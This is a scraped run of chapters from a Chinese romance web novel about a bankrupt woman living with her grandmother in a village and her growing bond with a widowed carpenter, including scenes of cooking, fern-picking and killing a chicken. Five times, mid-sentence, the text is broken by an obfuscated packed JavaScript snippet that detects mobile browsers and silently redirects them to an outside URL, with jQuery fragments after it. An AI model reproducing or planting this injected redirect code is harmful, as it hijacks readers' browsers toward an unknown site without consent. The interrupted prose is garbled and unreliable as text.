戏瘾上来,沈新月下巴颏搭在人肩膀,身子扭出几道浪,“多骂点多骂点,你越骂,我越爽!” 嘴里呵出的气还带着凉凉的薄荷牙膏味,落在颈间和耳廓,却是滚烫的。 “死!”江有盈用力推开。 “我要把你弄哭!”沈新月大放厥词。 忍无可忍,江有盈起身要走,沈新月一把攥住她的手。 “不是吧姐姐,我说的是歌词,你真没听过?当年很火的。”边说边手机掏出来,播给她听。 流淌的韵律唤醒少女时代珍贵记忆,沈新月身体随之小幅度摆动,滑动屏幕切出浏览器,“09年发行的,天呐,都十几年了。” 十几年前,江有盈应该也二十出头,有经济能力,买得起手机了吧? 沈新月不知道江有盈具体年龄,听外婆说跟李致远差不多,估摸也就比她大个四五岁。 “我那时候应该快上高中了,耳机都是藏在校服里面,用头发遮着,上课偷偷听。” 她跟随旋律哼唱,莫名感觉歌词十分贴近二人当下境遇,咂嘴品味,“解释是不是多余我不知道,但歌里歌外,两位姐姐都在因为‘妹妹’生气,可见,妹妹不是什么好东西,我还是喜欢姐姐算了。” “这番解释确实多余。”江有盈挣脱她手,转身上楼。 自己在意得要死,还说人家多余。 沈新月不跟她多计较,扭头喊:“欸你真没听过假没听过啊,路边两元店大喇叭天天放呢,一点印象没有啊。” 江有盈走到二楼,进了房间又出来,“怎样,犯法?你把我抓起来。” 沈新月还没当回事,“行啊,回头我就在网上给你买副手铐,把你铐起来!” 霎时变了脸,江有盈冷声:“你澡洗完,可以离开了。” “外婆还没回来,我一个人无聊,你陪我说话。” 沈新月摸摸脑袋,“我先去吹头发。” 快晌午,不知谁家飘来浓郁饭菜香,江有盈回房,坐在靠窗的小沙发,音乐播放器里搜索出刚才那首歌,尘封的记忆中似乎有朦胧曲调回响。 她应该听过,但此类娱艺项目并不是她当时的生活重点,她不具备条件。 也不愿回想探寻。 清浅男声低唱,在“和妹妹说说笑笑,缓解最近糟糕心绪”时被掐断,她下楼,直接拔掉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845531|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈新月的风筒开关。 “我偷用了你的牙刷,因为咖啡喝多怕牙齿变黄,我每次都要漱口,但我现在没有漱口水……” 沈新月以为被人发现,先认错,“你要是嫌弃就丢掉换新,我以后赔你。” 头发吹得差不多了,不用继续,她把风筒挂回去,“中午我们吃什么呢。” “回你自己家吧。”江有盈说。 不知是刚才哪句惹怒了她,沈新月懒得思考。 “你又怎么了。” 猝不及防的对视,她目光很沉很深,面上绯红未散,分不清是羞还是惭。沈新月倒没有自大到随便揣度别人心事,草草定论,实在是她情绪太过明显,转变太快难以忽略。 “为什么不开心,‘妹妹’的事不是已经解释过了,是歌词,我顺口。” “回你自己家去。”江有盈还是那句。 “你这人怎么喜怒无常的?” 偏不走,沈新月要她解释清楚,“为什么突然变脸,对我发脾气。” 之前的事,咖啡也好,高跟鞋也好,起码有迹可循,眼下两人聊天聊得好好的,莫名其妙下逐客令,总得有个原因。 “我们不是一路人。” 她姿态不变,语调不变,疏忽间眉头聚起浓浓哀愁,“玩不到一块去。” 沈新月愈发费解,“我是什么人,你是什么人?” “你是城里来的大小姐,我是乡下大姐。”她老实答。 沈新月又生气又好笑,扶额用力闭了下眼,认真解释,“往上数几代谁不是农民,我从来不是什么城里大小姐,你以为我真没办法东山再起?我就算没人脉没关系没钱,我至少还有妈,我就是烦了,不想再继续那种生活,才破罐破摔把自己逼上绝路,跟过去彻底告别。” “可你根本不能适应这里,你早晚有一天会离开的。”她似乎很难过。 启唇,却哑口,沈新月没有立即反驳。 “你并不打算工作,赚钱,你只是想休息一阵,你休息好就会离开,像偶像剧里落难的公主。我一个乡下大姐,以后连你家门都不能踏入,我们何必产生交际。” 几句话,把自己说得伤心透顶,还没来得及开始,就慌慌张张缩进壳里。 12.第 12 章 ——“我们何必产生交集。” 躺在小房间的单人床上,沈新月两手枕着后脑勺,眼望天花板,反刍多次,句子拆开来,揉碎了嚼烂了,还是没太想明白,她口中的“交集”到底是什么意思。 尽管江有盈反复多次强调,她们只是也只能是“朋友”。 她家院子里种了一棵柿子树,还有一棵樱桃树,刚过立春,柿子抽叶,樱桃挂蕾,浴室出来,二人树下对坐,江有盈解释,说她不是那个意思。 “那个意思是哪个意思。” 不是沈新月非得打破沙锅问到底,有些话还是一开始就讲清楚比较好。 于是江有盈从头开始,问:“还记得我们第一次见面,你是怎么向我介绍你名字的由来?” 沈新月记性确实不好,可事情才过去多久,她不至于健忘到这种地步。 况且,江有盈确实有让人过目不忘的资本。 她乖巧回答“记得”,江有盈轻轻点头,“其实你不说我也知道。你外婆跟我讲了你的好多事,从你出生就开始说起,一直到你的最近。” 江有盈到秀坪村三年多,来的第一天就从外婆那里看到了沈新月的照片。 “在你外婆房间,床斜对面一个大书柜,有本相册,里面收集了你从小到大两三百张照片。” 多少? 沈新月嘴巴张成个大鸭蛋。 江有盈接下来的话,更是让她恨不得找个地缝钻进去。 “包括你发在朋友圈,跟你的前任和前前任的海边泳装照,亲嘴照,以及你抱着前前任跟老公生的大胖小子的嘟嘴卖萌照……” 话至此,她稍缓,蹙眉认真道:“你到底怎么想的?你为什么要去,还要留下那种照片。” 沈新月双手抱头,来回绕桌,“啊啊啊”叫成开水壶。 她强迫自己镇静下来,“你再说一遍,相册在哪里?” “你外婆房间床斜对面的大书柜。”江有盈平静回道。 跑出一串屁股烟,沈新月原地消失。 她来到外婆房间,相册打开,第一张就是她的出生照,被护士抱着,躺在襁褓中,红通通皱巴巴,尖嘴猴腮丑得天怒人怨。 紧接着,是她的满月照,百天照,第一次理发、抓阄、学会走路…… 直接翻到最后一页,她“咦”了声,回头,“没有啊。” 最后一张是她穿学士服的毕业证。 江有盈从柜里抽出第二本,“是这个。” 看相册封面,明显新得多,沈新月却没有勇气翻开,死死抱在怀里。 她相信江有盈没有撒谎,但她不能打开,否则黑魔法即刻生效,她会原地晕死过去,像睡美人关于纺车的诅咒。 “照片哪里来的。” “你外婆让你妈存的你朋友圈,然后洗出来,过塑,寄到家。” 那么问题来了,江有盈还是不打算放过她,“你为什么要抱着前前任的大胖小子拍照发朋友圈?” “所有的照片你都看过了?”沈新月又问。 她回以平静注视。 沈新月把用来抓紧相册的两只手捂住脸,想从这个世界彻底消失。 不难看出,外婆很爱她,但这份爱太过沉重。 许久,沈新月抬起头,露出半青半红的一张脸,“我发朋友圈,其实是在嘲讽她,不知道你有没有看出来。” “偏偏你最好笑。”江有盈恢复了往常那副淡淡模样。 “我现在知道了。” 她掏出手机,使劲滑,使劲翻,发现那条朋友圈竟然还挂着…… 立即删除! 解决。沈新月想了想摇头,“也许我真的很好笑,但我觉得,更可笑的是那些欺骗我的人。自己做错事,还推卸到别人头上,恬不知耻,洋洋得意。” “很巧,那天我跟下面一个市场老板在酒店吃饭,碰巧遇见她的婚礼,她也碰巧看见我,非要我去。还有生意上的伙伴在,以为是我朋友,我不好翻脸,只能硬着头皮。她婚礼和孩子满月酒同时进行,是奉子成婚。” 沈新月回想,仪式那半个多小时,她内心毫无波澜,一直在看手机,跟合伙人同步消息。那时她公司刚起步,很多事要忙。 仪式结束,开席,她走出大厅,出于一种礼貌,也是个分手费的意思,去银行取了些现金。 “联系方式没删,一来是我没有删人的习惯,我朋友圈太多人了,各种人之间各种关系,说不定哪天能用得到,所以我从来不删 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846610|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 其二,很简单,“我不在乎了。” 真正的不在乎,就是不闻不问,对她的一切动向都可以做到眼过而心无波澜。 “她一直是个聪明人,自己家庭条件在我的圈子里,普通,老公是我以前一个朋友,富二代。她现在过得不错,也算实现阶级跃层了。” “等于你的女朋友和朋友同时绿了你。”江师傅尖锐总结。 这人真是…… 沈新月忍不住笑了,从外婆床尾滑到地板,脸圈进膝盖,笑得肚子痛。她再度抬头,脸褪青,变成猪肝红,随后相册放回去,骂了句脏话。 “人只要活着,什么烂人脏儿事都能遇到!这就是活着的代价,享受生活,享受美好的代价,正因为有了这些腌臜的衬托,那些快乐的瞬间才弥足珍贵。” 两秒后补充,“我真是个哲学家!” 话题七拐八绕,沈新月老底莫名其妙被揭个干净,对江师傅的过去,她却仍是一无所知。 唯一知晓,在江有盈的世界,沈新月这号人物,已经默默存在好几年。以一个绝世大草包身份。 “所以,那天在乡道上,你一下就认出我了,你不是专程去接我,真的只是碰巧,是我们之间的缘分。所以帮我付了车钱,载我回家,还一见面就跟我很熟的样子,让我不要喜欢上你……” “是的。” 抬头,江有盈直视她,目光坦然,“这几年,我在秀坪村没交上什么朋友,卖咖啡的小安,开文创店的阿南,都不过点头之交。只有你,从你外婆口中听了你那么多事,看了你那么多照片,我一直很想认识你。” 再当面问你一句为什么!到底为什么抱着前前任和她老公的大胖小子拍照! 曲径通幽,豁然开朗。 沈新月了然道:“原来你暗恋我。” 尽管她对此一无所知。 太伟大了! 这是怎样一种信念、坚守,对一个从未谋面的女子,日复一日,年复一年,只是毫无指望单方面思念着她。 “那现在呢?”沈新月眨眨眼,一个甜甜的笑模样,“对我,什么感觉。” 神情复杂,江有盈默了许久。 “确实是……百闻不如一见。” 13.第 13 章 哦!沈新月突然想起,关于江有盈,她还知道件事。江有盈结过婚,是小寡妇三号。 可她到底为什么跟车祸致残的李致远结婚,而李致远又到底为什么在拥有婚姻后仍选择卧轨自杀…… 想不到,这女人藏得很深,而她在她面前,几乎是寸缕不着。 沈新月爬到窗口,探身往外瞧,在外婆房间,她追问,她口中的“交集”到底是什么意思,不巧,那个做泥瓦的小曹又来了,说某某民宿要找她订购一批门窗,她亲自上门量尺寸去了。 还没回来。 院里大门敞着,一只猫咪蹲在花坛边打盹,不见她的棉布衬衫,世界都好像少了几分颜色。 沈新月躺在床上,新洗过的头发微微泛潮,带股香,她拿手机看了眼时间,估摸外婆快要回来了。 在秀坪村,时间似乎被拉长,早起才过去半天,就感觉看过了好多景,发生了好多事,跟写字楼坐办公室的感受完全不一样。 说到写字楼,沈新月总想起公司大厅那台打印机,动不动就没墨卡纸。机器都偶尔闹情绪,人却不敢。 到家后,她哭过好几场,也敢闹脾气了,“不高兴”被周围环境挤压得小小,洗个澡吃顿饭,就消耗得差不多。 外婆走的时候没说让她煮饭,江师傅也不在,沈新月下楼进厨房转了圈,茫无定见,连米放哪儿都不知道。 正发愁,门前一阵响动,沈新月跑出去看,外婆回来了。 今天出门急,她忘了扎小辫,头发随意团个坨坨,忙了一上午,散得差不多。 “累死个娘嘞。”外婆一屁股坐在小板凳,“去,我堂屋那个茶壶端来。” 沈新月依言照办,叮嘱她慢些喝别呛着,再去看篮子,“这么多蕨菜。” “去年初夏,劳动节那阵子,旱了半个月不见雨,北边蔡家岭着山火,树全烧没了,哎呦那火太得,连烧几片山,到处飘得黑灰。今年怎么着,春风吹又生呐,过火的地方蕨是最多最显眼的,你明天跟我一起去。” 外婆说山上好多人摘,这时令菜得抓紧些,蕨老了展叶没法吃,又问:“你江师傅呢?” “去给人家量尺寸了。”沈新月自觉把篮子提到屋檐下,免得叫太阳晒蔫了。 “那等等吧,老太婆我今天是烧不动饭了。”外婆挪到躺椅,沈新月拿湿毛巾给她擦了擦脸,“我烧呗。” 等江师傅回来,正好邀功,免得又被人家叽歪,说“你不是来过日子的”。 外婆让她赶紧拉倒,“我还想多活几年呢。” “瞧不起人!” 下午炟蕨菜,有得忙,中午江有盈回来,随便下把挂面吃。 冰箱里有熬好的辣椒油和肉哨子,外婆说,田里小葱没打过波尔多液,沈新月拔了几棵,水龙头底下洗干净,递去厨房,看江师傅一双巧手“笃笃”几下切成小段。 葱香四溢,锅中水汽沸腾,沈新月帮她把砧板洗了,又把猪油罐抱出来,搁她手边,煎蛋要用。 “蛮灵光嘛。”江有盈把平底锅架在燃气灶,等烧冒烟才挖一勺猪油搁进去。 勺子热,油滑进锅,沈新月把油罐放回冰箱,右胳膊贴着她的左胳膊,“你是不是觉得我什么也不会,只会吃。” 江有盈扬眉笑,“我说呢,在我面前一顿显摆。” “那必须得显摆呀,不然还让人家以为我是蛀米虫!”沈新月没好气。 “那只能怪你外婆,光说你淘气,没说你机灵。”她转头又问:“你溏心蛋还是实心蛋?” 沈新月回答“溏心”,伸出一根手指左右晃晃,“NOnono,淘气小孩比笨瓜小孩要承担更多调皮捣蛋带来的项目风险,那如何规避风险,不被训挨打,就特别考验智商,所以淘气小孩也是机灵小孩。” 把人家乖小孩说成笨瓜小孩,真会颠倒黑白。 “诡辩方面确实。”江有盈道。 “我就当是夸我了。”沈新月把盛肉哨子的陶罐也搬出来,三只白瓷碗凑在一堆,每只碗里分别挖上一大勺。 肉哨在碗底,面一盖,汤一淋,半凝固的肉油化开,辣椒油和小葱在面上,增香填色。汤不能太多,刚够拌开面条就好,否则面就不香了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14854172|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 哪怕只是碗挂面,也要认真对待,这处处是生活的经验和细节。 “人活着,不就为口吃。”外婆呵呵直笑,“老喽,该享福喽!” 其实蕨菜不难炟,总共就一篮子,三人很快就收拾完。 先烧一大锅开水,锅里放点盐,这一步是为了留存绿色菜的脆嫩,然后洗干净毛毛的蕨菜一把子倒进锅里。 蕨菜够嫩,烫个分把钟差不多,捞起过凉水,完了就搁水里泡着,上头铺张干净纱布,碗压住避免接触空气。 如此,就算炟完,去除了苦涩,炟好的蕨,凉拌、炒肉都好吃。 制作干蕨菜的办法同上,泡完水捞起晾干,天气好放到竹簸箕里晒,可以保存更久,经时间发酵,另有一番风味。同类可参考干香菇、干豆角。 许多不易保持的新鲜蔬菜,都是通过炟水和晾晒来增加保质期,外婆说这都是古人的智慧。 这些事情,沈新月小时候跟着外婆做惯了,多年在外,虽有些手生,但不至于抓瞎。 忙完洗干净手,她叉腰往院里一站,得意挑起下巴尖,“怎么样?” “真厉害,我家嘟嘟真厉害!”外婆连连拍巴掌。 江有盈好奇问:“怎么会想到叫娇嘟嘟这个名字呢?” “不要打岔!” 沈新月跳到她面前,“你说,我要你重新说。” 回头跟外婆解释,“她今天说我,说我是大小姐,不是来过日子的,觉得我什么都不会。” “会得不多,但也不少了,够吃。”外婆中肯道。 沈新月的大名小名都是外婆起的,她想了想,说倒是简单的,“她就是娇,三岁以前长得圆嘟嘟,人家一见她,就夸她嘟嘟,脸蛋嘟嘟,嘴巴嘟嘟,小胳膊小腿也嘟嘟,惹人欢喜。不想跟别的小孩一样,就叫娇嘟嘟了。” “哎呦不要这样喊!” 扭身,发尾轻灵一旋,沈新月跺了下脚,“我都多大了,说出去惹人笑。” “谁笑?”外婆道。 惹人欢喜确实是一种天赋,江有盈笑了,“确实娇。” 14.第 14 章 回到秀坪村后,沈新月很少看手机。 通讯录列表清空前有五百多人,大半忘了备注,当时推杯换盏,佯羞诈鬼,风吹,酒醒,全忘个干净,更别提如今只是一根摇摇欲坠的网线牵扯。 远不如乡道上江有盈草帽下半张雪色的脸使人影响深刻。 以前不是没有过这样的例子,在楼下西餐厅看到一双玉做的手,电影院旁边位置袭入鼻腔的暗香,或是高铁站候车大厅匆匆走过的高挑背影…… 她暗暗记下当时眼睛捕捉到的,像欣赏一束花,没有采摘的打算。 所以,人与人之间多少还是讲究点缘分的。 想通这点,无需再通过那些陌生的头像仔细辨别、认真挑选,沈新月只恨没有一键删除按钮。 有些朋友彻底从她的世界消失,也有不能割舍的,反复尝试添加,在验证列表里伤心流泪,着急跳脚。 外婆回房睡午觉,江师傅又被喊走,沈新月独坐树下,逐条回复消息。 [一切顺利。] [我挺好的。] [在老家。] [还活着。] 妈妈也打来电话,问她需不需要帮忙。 问候扎堆,她像总统逐个从她们面前走过,点头示意,握手。 “好着呢。”沈新月语气比天上的云还轻快,“有吃有喝,还认识了新朋友。” 挂断电话,沈新月轻手轻脚溜进外婆房间,从大书柜里把那本朋友圈相册抱出来,想偷偷拿去销毁,却忍不住坐在竹凳翻阅。 过去的那些人和事早就不重要,沈新月更好奇江有盈见到这些照片时的感受。 在她心里,她是个什么样的人呢? 翻到一张极其辣眼的合照,沈新月慌忙把眼睛闭上,快速翻过去。睁开眼,她歪了下头,江有盈会吃醋吗? 人心里总会有些奇奇怪怪的占有欲。 沈新月最后还是决定把相册放回去,她抛弃自己的过去不要,嫌弃得捏鼻皱眉,但外婆不觉得,那上面留有她苍老的指印和深情的注视,满满都是爱。 距离晚饭时间还早,沈新月回楼上换了双运动鞋,拍拍屁股出门。 去咖啡店找小安打听,问做泥瓦的小曹家住哪里,怕被人误会,忙补充,“我不是找小曹,我找江师傅,她是小曹喊走的。” 想了想,又说:“小曹请她帮忙,什么在门上开猫洞,他一人弄不了。” “那我知道了,村里确实有家猫咪主题的民宿。” 小安给她指了个大概方向,又问:“喝咖啡吗?” 沈新月“嘿嘿”笑两声,“我没钱。” “你破产了嘛,我知道,房东老太太跟我说的,她跟你外婆是牌友,说你外婆不得了,现在专门靠悔牌、耍赖,出老千来养你。” 小安每天上午下午两杯咖啡,“我顺道给你做一杯,不费事的。” 沈新月笑容僵在脸上,“我外婆牌品这么差?” 这可真是天大的误会,“我回家没找她要过一分钱,真的,我真靠外婆养,现在何必在外乞讨。天呐,还是外婆偷偷拿我当幌子?暗地里赚得盆满钵满?” “那你得找她收点名誉损失费了,这样老人家才会更有动力赚钱嘛。”小安建议说。 沈新月略一琢磨,“有道理啊。”很别样的啃老方式呢,她豪爽一挥手,“这杯记账,等我要到钱还你。” “那下杯吧。”小安也大方,给她做了外带,“这杯说好请你的。” 猫咪民宿不难找,远远就看见外墙上巨大的彩绘猫猫头,江有盈正好提了把钢丝锯从二楼围栏边走过,沈新月蹦跳招手,“江师傅!江师傅!” 耳根微动,在整栋楼嘈杂烦嚣的电钻和敲打声中,江有盈敏锐捕捉到那一丝令人愉悦的甘甜,随即抬眼找寻。 四目相对,她唇边自然绽开笑容,转身往楼下走。 “你怎么来了。” “来接你下班。”沈新月嘚瑟晃晃手里的咖啡杯,“看看看,嘿嘿——” “又去乞讨了。” 江有盈摘了劳保手套,顺手接过,叼起吸管喝一大口,完了才解释,“干半天了,正好口渴。” “说人家乞讨,自己拦路抢劫。”沈新月话虽如此,真不至于吝啬,咖啡杯往前递递,“那你再喝点。” 她低头重新戴好手套,示意自己还得继续干活,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859797|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方便,沈新月直接把吸管怼到她唇边。 半秒迟疑,江有盈撩起眼皮,神态复杂。 “喝啊。”沈新月催促。 一楼房间里忙活的民宿老板跑出来,递了两瓶水,“都怪我招待不周,来,江师傅。” “给她吧。”快速吮了口咖啡,江有盈转身上楼,腿是真长,一步跨出三道台阶。 到二楼,她“欸”一嗓子,朝楼下沈新月点点下巴,“出去等,里面灰大。” “还多久。”沈新月问。 “最后一扇门了。”江有盈回答。 猫咪民宿还在装修阶段,老板想在每扇房间的门下开一个小洞,装上门,方面猫咪自由出入,门还要有开关,以便客人自由选择。 这主意后来想到的,当时定制房门的时候没弄,现在就请了江有盈来加工。 “你是江师傅朋友啊?”旁边冒出来个人的脑袋。 男人声音,沈新月吓一跳,身体也配合着跳开几步,回头。 藏蓝色工装服,戴个花头巾,眼角眉梢挂满白花花石灰粉,他笑嘻嘻,“还是女朋友啊?” “曹光新,给我滚上来!”楼上某人骤然发声,好似道旱地雷。 “是吧是吧!”曹光新回头从民宿老板那拿了瓶水,转身跑走。 沈新月再度抬头,见她紧拧着眉老大不高兴,捂嘴偷笑一下。 等到江师傅下班,提着工具箱灰头土脸从民宿出来,沈新月小皮球似蹦跶到她面前。 “那个曹光新跟我说话了。” 摘去手套,掸掸肩头白灰,江有盈木着张脸,看不出喜怒。 “他说暗恋你,觉得你是个特别有魅力的女人,问我是不是你亲戚,有什么办法可以追到你。”沈新月编得像模像样,又晃晃手里咖啡杯,“还有,专门给你留的,喝吗?” “不喝了。”她回答,眉峰略略舒展,手套一叠塞进屁股兜,“那麻烦你转告他,我是个很危险的女人,跟我在一起不会有好下场。” 是金子在泥地里也闪光,越是潦草随性,越是突显自信美丽,沈新月眼不错珠盯着,“哪里危险了?” “克夫。”她撩了把头发。 15.第 15 章 晚饭的小菜都是春天山里的时令货,蕨菜凉拌,荠菜炒蛋,外婆要正式给宝贝外孙女接风洗尘,决定另杀只鸡。 “那我明天就能少喂一只。”沈新月还没开始干活,先想着躲懒。 “喂鸡?”外婆说谁让你喂了,“我可没让,到时候别找你妈告状,说我拿你当丫鬟使。” “江师傅呗,说我好吃懒做,给我派的活儿。”沈新月摇头晃脑,阴阳怪气。 倒不是真怨她多管闲事,开玩笑的,喜欢看她一脸无语被气得说不出话。 谁成想,外婆立即倒戈,“那江师傅肯定是为你好,帮助你调节心情,反正你整天闲着也是闲着。过阵子集上有小鸡苗了,再买几只回来,家里多添张吃饭的嘴,也多双干活的手。” 完了又说:“这可是你自愿的哈!” 江有盈去厨房拿了把尖刀,后院门槛边提个小板凳坐,磨石淋水,一手握住刀柄,两手点按在刀脊,来回磨。 一缕长发垂落,半遮挡眉眼,她做事全心全意,不被旁物所扰,面部棱角更添锋锐冷冽。 她身上有种天然的震慑力,手一握刀像变了个人,沈新月都不敢跟她说话。 “去,厨房拿个碗,碗里搁些清水,一筷子盐。”江师傅磨好刀,送水龙头下面冲,回头吩咐。 沈新月一毕业就是大老板,从来只有她差使别人的份,偏偏在江有盈面前,半句怨言没有,跑出几步,“吃面的还是盛汤的。” “鸡血没多少,面碗足够。”江有盈揭开鸡笼,挑了只最肥的。 沈新月屁颠颠拿碗回来,双手捧着站她面前,“我可以帮你接着,我不怕,小时候村里杀猪我还爬人家围墙上看。” “一会儿血溅你脸上。”江有盈没什么表情说。 沈新月立即退避三尺。 “碗碗碗!”嫌她耽误事,江有盈拎着刀柄比划。 沈新月飞快跑回去,碗搁地上。 江有盈杀鸡的手法跟别人不一样,一般情况都是正面持刀,她反握着,左手鸡翅膀鸡冠子一把抓,理理脖子上细绒毛,右手往左猛地那么一刺啦,没见脸上什么表情,动作又快又狠。 鸡脖子怼碗里,慢慢沥,期间一滴血没洒出来。 职业女杀手作风。 外婆喊:“水开了!” 把鸡扔不锈钢大盆里,水淋上,江有盈开始拔毛。 不愿让人小看,这些事也不难上手,沈新月凑她跟前,盆边蹲着,“现在我总可以帮忙了。” “是你自愿的哈。”她学外婆说话那调调。 沈新月白眼,“刚才你还使唤我去拿碗呢,我还不是做得很好!” 江有盈笑笑不说话,跟杀鸡时候的样子完全不同,虽然她手里还握着刀。用来扯鸡毛。 沈新月问她,是不是特瞧不起那种真正的娇生惯养的大小姐。 “娇生惯养的大小姐虽然咋咋呼呼,但也有自己的可爱之处,不是瞧不起,只是跟我不是一路人。” 她轻轻摇头,不知联想到了什么。大概是女人。 什么叫“也有自己的可爱之处”? 沈新月严重怀疑,她以前也跟别的女人有过些不清不楚。 于是忍不住打听,“李致远死了这么多年,你就没想过再找一个?” 抬头,江有盈笑出声,“你这话,跟小曹家隔壁张婶说的一字不带差。” “人家关心你嘛。”沈新月嘟囔。 “这句也一样。”她说。 顿了顿,“这么关心我的个人问题,看来你果然暗恋我,不过,我必须得警告你,虽然姐姐我魅力无边,但我一向洁身自好,从不胡搞乱搞。” 没着急否认,沈新月低头扯鸡毛。半晌忽然想到什么,猛抬胳膊,竖指,“等等,有bug!” 用力过猛,带根鸡毛出来,贴在江有盈脑门。 对方面无表情,沈新月连连道歉,笑哈哈帮她摘下来,袖口蹭两下擦干净,缓了缓,“你之前跟我说,你怕血,可你刚才杀鸡一点没手软。” “我说过吗?” 她装傻,还学人歪头,眼尾弯弯,俏皮得很。 “就知道你嘴里没一句真话。” 刚才看她杀鸡的手法,沈新月想过,她说的那些未必就是假。 可即便是真,她也一定是有苦衷的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868168|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然哪儿能轻易放出来,沈新月对公检法各部的严谨和残酷可是深有体会的。 一场深刻的自我攻略正在进行中,对面江师傅用额头撞了一下她的额头。 “怎么?”沈新月轻轻回撞,她们像两只小猫凑近互相碰鼻子。 “都跟你说我是杀人犯了,怎么可能会怕血。”江师傅故作凶狠,呲出一排小而白的上牙,鼻子皱皱的。 正因为这口牙,使她的笑容看起来格外纯真。 在这短暂的几秒,她是学校里那种长得白白净净扎马尾的学姐,话少,总是独来独往,负责每周一升旗仪式,期末表彰大会也从不缺席。 李致远怎么能配得上她,还是残疾后的李致远。 可要是没有李致远,她此刻又在何方?正在做些什么? 人与人之间的缘分,最是玄妙。 “你不害怕?”江有盈继续撞她。 “你这样特别幼稚。”沈新月胆大包天想用鸡毛堵住她的嘴。 “我幼稚?”江有盈从来没被人这么羞辱过,“牢里的姐妹都说我早熟。” 沈新月真服了她。 “你知道你像什么吗?像我十五岁空间里头像五颜六色的非主流少女,说自己抽烟、喝酒、逃课,坏事做尽,但你知道吗?我其实是个好女孩,我真的太缺爱了,快来爱我吧。整天满世界嚷嚷,求关爱,求呵护。” “当然。”沈新月进一步解释,“我不是批判,我没有任何不好的意思,也不是说她们不好,只是你给我的感觉,频繁跟我开这个玩笑带来的感觉……” 她缓了几秒,仔细斟酌着措辞,“不知道我说得对不对,说错你随时可以反驳我。你好像一直在给我打预防针,在我心中给自己建立一个很坏的形象,如果我可以接受,那我们就继续做朋友,如果不能,你就会远离我,以你之前提到的‘不是一路人’为借口,对吗?” 春日阳光稀薄,她的头发是温暖的板栗色,额角一小撮碎发挂在鼻尖,像新发的嫩柳软软扫拂人心。 她低垂着眼,长睫毛没有一点卷翘,直直遮挡心事,半天,好不服气憋出来一句。 “你懂个屁。” 16.第 16 章 沈新月确实不懂,“那你一个字也没告诉我呀!你嘴里没一句实话。” “凭什么告诉你,你以为你是谁?” 江有盈生气了,盆里抓把鸡毛,作势要扔,沈新月“欸”一嗓子,仰身要躲,没坐稳,摔个四脚朝天。 外婆赶来,问“怎么了怎么了”,让她们别打架。 沈新月爬起,趁机告状,“她上午带我去荷塘,推我下水,差点把我淹死!” “你胡说八道!” 鸡毛摔盆,江有盈跑出去,提了那只泥染的高跟鞋回来,“阿婆你看,她一大早擦脂抹粉,穿高跟鞋出去,自己后脚跟都磨烂。我跟她讲道理她不听,我才带她去荷塘的,我确实是想整她,但她是自己摔进去的,还拿鞋踢我!” “好好好。”沈新月冲上去一把揪住她衣领子,“你终于承认了,你是故意整我的。” “是又怎么样,我就是看你不顺眼。” 江有盈也反揪住她衣领子,“你别忘了是谁接你回来,给你咖啡喝,给你衣服穿,乳臭未干的黄毛丫头,一点感恩之心没有。” 沈新月指着自己鼻尖,“我乳臭未干?那你就是个老树疙瘩,老得都起茧!而且你头发才黄,太阳底下贼黄贼黄,你从小缺爱,长大缺锌,舀点大粪喝,好好补补吧!” 还说人家擦脂抹粉,“我看你就是对我爱而不得!” 外婆本来还挺担心的,听到“爱而不得”,她一脸恍悟,“你们快点打,打完把鸡收拾好。” 是了,鸡还没收拾。 